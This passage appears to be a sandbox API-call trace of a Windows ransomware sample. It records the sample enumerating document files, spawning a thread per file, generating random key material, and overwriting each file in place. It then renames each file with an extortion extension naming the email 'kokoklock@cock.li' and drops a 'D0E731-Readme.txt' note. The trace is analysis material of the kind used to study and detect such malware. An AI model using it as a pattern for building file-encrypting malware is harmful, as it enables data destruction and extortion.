dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0082.980] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee16680, ftCreationTime.dwHighDateTime=0x1d4ca33, ftLastAccessTime.dwLowDateTime=0x8d384090, ftLastAccessTime.dwHighDateTime=0x1d4cb3b, ftLastWriteTime.dwLowDateTime=0x8d384090, ftLastWriteTime.dwHighDateTime=0x1d4cb3b, nFileSizeHigh=0x0, nFileSizeLow=0x18144, dwReserved0=0x0, dwReserved1=0x0, cFileName="EqSeR dlK8xwc0X5u.odp", cAlternateFileName="EQSERD~1.ODP")) returned 1 [0082.980] wcscmp (_String1="EqSeR dlK8xwc0X5u.odp", _String2=".") returned 1 [0082.980] wcscmp (_String1="EqSeR dlK8xwc0X5u.odp", _String2="..") returned 1 [0082.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x34874e0 [0082.980] wcscpy (in: _Dest=0x34874e0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" [0082.980] wcscat (in: _Dest=0x34874e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0082.980] wcscat (in: _Dest=0x34874e0, _Source="EqSeR dlK8xwc0X5u.odp" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp" [0082.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34874e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0082.980] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0dd3c80, ftCreationTime.dwHighDateTime=0x1d4c8b8, ftLastAccessTime.dwLowDateTime=0x11edcb10, ftLastAccessTime.dwHighDateTime=0x1d4cc00, ftLastWriteTime.dwLowDateTime=0x11edcb10, ftLastWriteTime.dwHighDateTime=0x1d4cc00, nFileSizeHigh=0x0, nFileSizeLow=0x174a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNzqgM5vJQYXU.ppt", cAlternateFileName="PNZQGM~1.PPT")) returned 1 [0082.980] wcscmp (_String1="PNzqgM5vJQYXU.ppt", _String2=".") returned 1 [0082.980] wcscmp (_String1="PNzqgM5vJQYXU.ppt", _String2="..") returned 1 [0082.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x3430e00 [0082.980] wcscpy (in: _Dest=0x3430e00, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" [0082.981] wcscat (in: _Dest=0x3430e00, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0082.981] wcscat (in: _Dest=0x3430e00, _Source="PNzqgM5vJQYXU.ppt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt" [0082.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0082.981] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x287ba110, ftCreationTime.dwHighDateTime=0x1d4c5aa, ftLastAccessTime.dwLowDateTime=0x80e17e10, ftLastAccessTime.dwHighDateTime=0x1d4cf28, ftLastWriteTime.dwLowDateTime=0x80e17e10, ftLastWriteTime.dwHighDateTime=0x1d4cf28, nFileSizeHigh=0x0, nFileSizeLow=0x888d, dwReserved0=0x0, dwReserved1=0x0, cFileName="qlbuL.ods", cAlternateFileName="")) returned 1 [0082.981] wcscmp (_String1="qlbuL.ods", _String2=".") returned 1 [0082.981] wcscmp (_String1="qlbuL.ods", _String2="..") returned 1 [0082.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33f06a0 [0082.981] wcscpy (in: _Dest=0x33f06a0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" [0082.981] wcscat (in: _Dest=0x33f06a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0082.981] wcscat (in: _Dest=0x33f06a0, _Source="qlbuL.ods" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods" [0082.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f06a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c [0082.982] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10bf9630, ftCreationTime.dwHighDateTime=0x1d4c98d, ftLastAccessTime.dwLowDateTime=0x82cce1c0, ftLastAccessTime.dwHighDateTime=0x1d4cba3, ftLastWriteTime.dwLowDateTime=0x82cce1c0, ftLastWriteTime.dwHighDateTime=0x1d4cba3, nFileSizeHigh=0x0, nFileSizeLow=0x7fc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEoZxCv_RfU.rtf", cAlternateFileName="SEOZXC~1.RTF")) returned 1 [0082.982] wcscmp (_String1="SEoZxCv_RfU.rtf", _String2=".") returned 1 [0082.982] wcscmp (_String1="SEoZxCv_RfU.rtf", _String2="..") returned 1 [0082.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x3428cb8 [0082.982] wcscpy (in: _Dest=0x3428cb8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" [0082.982] wcscat (in: _Dest=0x3428cb8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0082.982] wcscat (in: _Dest=0x3428cb8, _Source="SEoZxCv_RfU.rtf" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf" [0082.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964 [0082.983] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10bf9630, ftCreationTime.dwHighDateTime=0x1d4c98d, ftLastAccessTime.dwLowDateTime=0x82cce1c0, ftLastAccessTime.dwHighDateTime=0x1d4cba3, ftLastWriteTime.dwLowDateTime=0x82cce1c0, ftLastWriteTime.dwHighDateTime=0x1d4cba3, nFileSizeHigh=0x0, nFileSizeLow=0x7fc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEoZxCv_RfU.rtf", cAlternateFileName="SEOZXC~1.RTF")) returned 0 [0082.983] FindClose (in: hFindFile=0x33e0218 | out: hFindFile=0x33e0218) returned 1 [0082.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f56c0) returned 1 [0082.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eac30) returned 1 [0082.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ba40) returned 1 [0082.983] RtlExitUserThread (Status=0x0) Thread: id = 984 os_tid = 0x1664 [0079.859] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\uuumqyxxn.csv")) returned 0x20 [0079.860] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv", dwFileAttributes=0x20) returned 1 [0079.860] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\uuumqyxxn.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0079.860] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x2393fc1c | out: lpFileSize=0x2393fc1c*=64910) returned 1 [0079.860] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0xfd8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.860] ReadFile (in: hFile=0x5cc, lpBuffer=0x2393fbf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2393fbec, lpOverlapped=0x0 | out: lpBuffer=0x2393fbf0*, lpNumberOfBytesRead=0x2393fbec*=0x4, lpOverlapped=0x0) returned 1 [0079.860] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f60 [0079.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e70 [0079.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34921e0 [0079.860] NtQuerySystemTime (in: CurrentTime=0x2393fbc8 | out: CurrentTime=0x2393fbc8*=132121176377511269) returned 0x0 [0079.860] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0xb114dd53 [0079.860] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x6b51d369 [0079.860] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x6a31b9c [0079.860] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x375b8e51 [0079.860] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x3c955087 [0079.860] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0xd5f0996c [0079.860] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0xccafae4a [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x44425886 [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0xdd49dcd4 [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x94727f56 [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x1ed4176e [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x2c23727a [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0xd35e8988 [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0xb8e28e66 [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0xc7456eae [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0xa448e8dc [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x3a7bcc [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x1a8a1ade [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x3eaf6802 [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x18f53385 [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x9abde0b0 [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0xa1e62fca [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x7e497ad6 [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0xd001a30e [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0xc60e8a15 [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x8859da39 [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0xcede773a [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x346e5953 [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x4dcd01bb [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x5ccfb51c [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x2110b624 [0079.861] RtlRandom (in: Seed=0x2393fbd4 | out: Seed=0x2393fbd4) returned 0x1bc0e0f9 [0079.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491f60) returned 1 [0079.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.872] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.872] ReadFile (in: hFile=0x5cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2393fba0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2393fba0*=0x4096, lpOverlapped=0x0) returned 1 [0079.872] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.873] WriteFile (in: hFile=0x5cc, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2393fba0, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2393fba0*=0x4096, lpOverlapped=0x0) returned 1 [0079.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.873] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0xfd8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.873] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2393fbd8, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x2393fbd8*=0x20, lpOverlapped=0x0) returned 1 [0079.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.873] WriteFile (in: hFile=0x5cc, lpBuffer=0x3491d30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2393fbec, lpOverlapped=0x0 | out: lpBuffer=0x3491d30*, lpNumberOfBytesWritten=0x2393fbec*=0x8, lpOverlapped=0x0) returned 1 [0079.874] WriteFile (in: hFile=0x5cc, lpBuffer=0x2393fc04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2393fbec, lpOverlapped=0x0 | out: lpBuffer=0x2393fc04*, lpNumberOfBytesWritten=0x2393fbec*=0x4, lpOverlapped=0x0) returned 1 [0079.874] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2393fbec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2393fbec*=0x4, lpOverlapped=0x0) returned 1 [0079.874] WriteFile (in: hFile=0x5cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2393fbec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2393fbec*=0x6c, lpOverlapped=0x0) returned 1 [0079.874] WriteFile (in: hFile=0x5cc, lpBuffer=0x3491e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2393fbec, lpOverlapped=0x0 | out: lpBuffer=0x3491e70*, lpNumberOfBytesWritten=0x2393fbec*=0x20, lpOverlapped=0x0) returned 1 [0079.874] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2393fbec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2393fbec*=0x4, lpOverlapped=0x0) returned 1 [0079.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491d08) returned 1 [0079.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491d30) returned 1 [0079.874] CloseHandle (hObject=0x5cc) returned 1 [0079.874] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494978 [0079.874] wcscpy (in: _Dest=0x3494978, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv" [0079.874] wcscat (in: _Dest=0x3494978, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731" [0079.874] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\uuumqyxxn.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\uuumqyxxn.csv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.875] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.875] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494978) returned 1 [0079.875] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv", dwFileAttributes=0x20) returned 0 [0079.875] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6a68 [0079.875] wcscpy (in: _Dest=0x33e6a68, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" [0079.875] wcscat (in: _Dest=0x33e6a68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\D0E731-Readme.txt" [0079.875] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\d0e731-readme.txt")) returned 0xffffffff [0079.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0079.876] WriteFile (in: hFile=0x5cc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2393fbe8, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2393fbe8*=0x481, lpOverlapped=0x0) returned 1 [0079.878] CloseHandle (hObject=0x5cc) returned 1 [0079.878] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6a68) returned 1 [0079.878] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b9a8) returned 1 [0079.878] RtlExitUserThread (Status=0x1) Thread: id = 985 os_tid = 0x1668 [0079.879] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\yuvtibl5ozeq68g.docx")) returned 0x20 [0079.879] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx", dwFileAttributes=0x20) returned 1 [0079.879] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\yuvtibl5ozeq68g.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0079.879] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x239bfe60 | out: lpFileSize=0x239bfe60*=99304) returned 1 [0079.880] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x183e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.880] ReadFile (in: hFile=0x5cc, lpBuffer=0x239bfe34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x239bfe30, lpOverlapped=0x0 | out: lpBuffer=0x239bfe34*, lpNumberOfBytesRead=0x239bfe30*=0x4, lpOverlapped=0x0) returned 1 [0079.880] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.880] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f60 [0079.880] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e70 [0079.880] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491d08 [0079.880] NtQuerySystemTime (in: CurrentTime=0x239bfe0c | out: CurrentTime=0x239bfe0c*=132121176377667604) returned 0x0 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x98e9d401 [0079.880] RtlRandom (in: Seed=0x239bfe18 | 